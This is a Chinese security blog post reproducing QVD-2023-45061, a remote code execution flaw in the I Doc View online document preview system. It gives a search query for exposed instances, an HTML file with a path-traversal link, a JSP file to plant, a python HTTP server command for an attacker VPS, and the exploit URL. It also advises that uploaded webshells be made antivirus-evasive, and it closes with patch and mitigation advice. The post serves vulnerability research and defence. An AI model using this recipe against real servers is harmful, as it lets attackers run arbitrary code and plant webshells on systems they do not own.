前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >QVD-2023-45061:I Doc View在线文档预览系统RCE漏洞

QVD-2023-45061:I Doc View在线文档预览系统RCE漏洞

作者头像
Timeline Sec
发布2024-01-02 13:00:49
5560
发布2024-01-02 13:00:49
举报
文章被收录于专栏:Timeline SecTimeline Sec

关注我们❤️,添加星标🌟,一起学安全! 作者:Locks_@Timeline Sec 本文字数:1042 阅读时长:2~3min 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

I Doc View 在线文档预览系统是由北京卓软在线信息技术有限公司开发的一套系统。主要为用户提供各种类型的文档文件的在线预览,而无需下载或安装相应的软件。

0x02 漏洞概述

漏洞编号:QVD-2023-45061

I Doc View 在线文档预览系统存在远程代码执行漏洞,未经身份验证的远程攻击者利用 "/html/2word?url=" 接口可使服务器远程下载恶意文件,从而执行任意代码。

0x03 影响版本

iDocView < 13.10.1_20231115

0x04 环境搭建

有条件的请移步这边

代码语言:javascript
复制
申请安装到您自己服务器的一个月免费试用版,请填写一下这个申请表:
https://wj.qq.com/s2/5983516/63c4/

语法查询:

代码语言:javascript
复制
title == "在线文档预览 - I Doc View"

0x05 漏洞复现

第一步:最好在vps上创建一个新的文件夹复现

vim timelinesec.html构造html文件

代码语言:javascript
复制
<!DOCTYPE html>
<html lang="en">
<head>
    <title>test</title>
</head>
<body>
  <link href="/..\..\..\docview\locks.jsp">
</body>
</html>

构造恶意文件

代码语言:javascript
复制
vi '..\..\..\docview\locks.jsp'
 
 
<%out.print("Locks_");%>

在服务器开启python的http服务

代码语言:javascript
复制
python3.10 -m http.server 80

然后在 I Doc View 在线文档预览系统上访问路径 :

代码语言:javascript
复制
http://your-ip/html/2word?url=http://your-vps-ip/timelinesec.html
代码语言:javascript
复制
https://xxx.xx.xx.xx:84/html/2word?url=http://your-vps-ip/timelinesec.html

其他都是之前测试用的,不用在意 当两个请求都响应200时会下载一个word文件,表示利用成功

访问locks.jsp验证

tips:上传的马子需要是免杀后才能上传成功

上传的手法一样,多等一会,让子弹飞一会

漏洞分析:解析应用中的远程页面缓存功能没有对输入的URL进行充分的安全验证,通过构造特殊的URL,使得应用下载恶意文件

0x06 修复方式

1、官方修复方案:厂商已禁用漏洞相关接口并升级软件版本到13.10.1_20231115,客户可升级到该版本解决漏洞,官网https://api.idocv.com已升级到最新版本。

2、临时修复方案:a.使用防护类设备对相关资产进行防护;b.如非必要,避免将资产暴露在互联网;如有需要可通过网络ACL策略限制访问来源,只允许特定IP进行访问;c.限制服务器主动访问外部陌生链接。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-12-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 漏洞概述
  • 0x03 影响版本
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • 0x06 修复方式
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档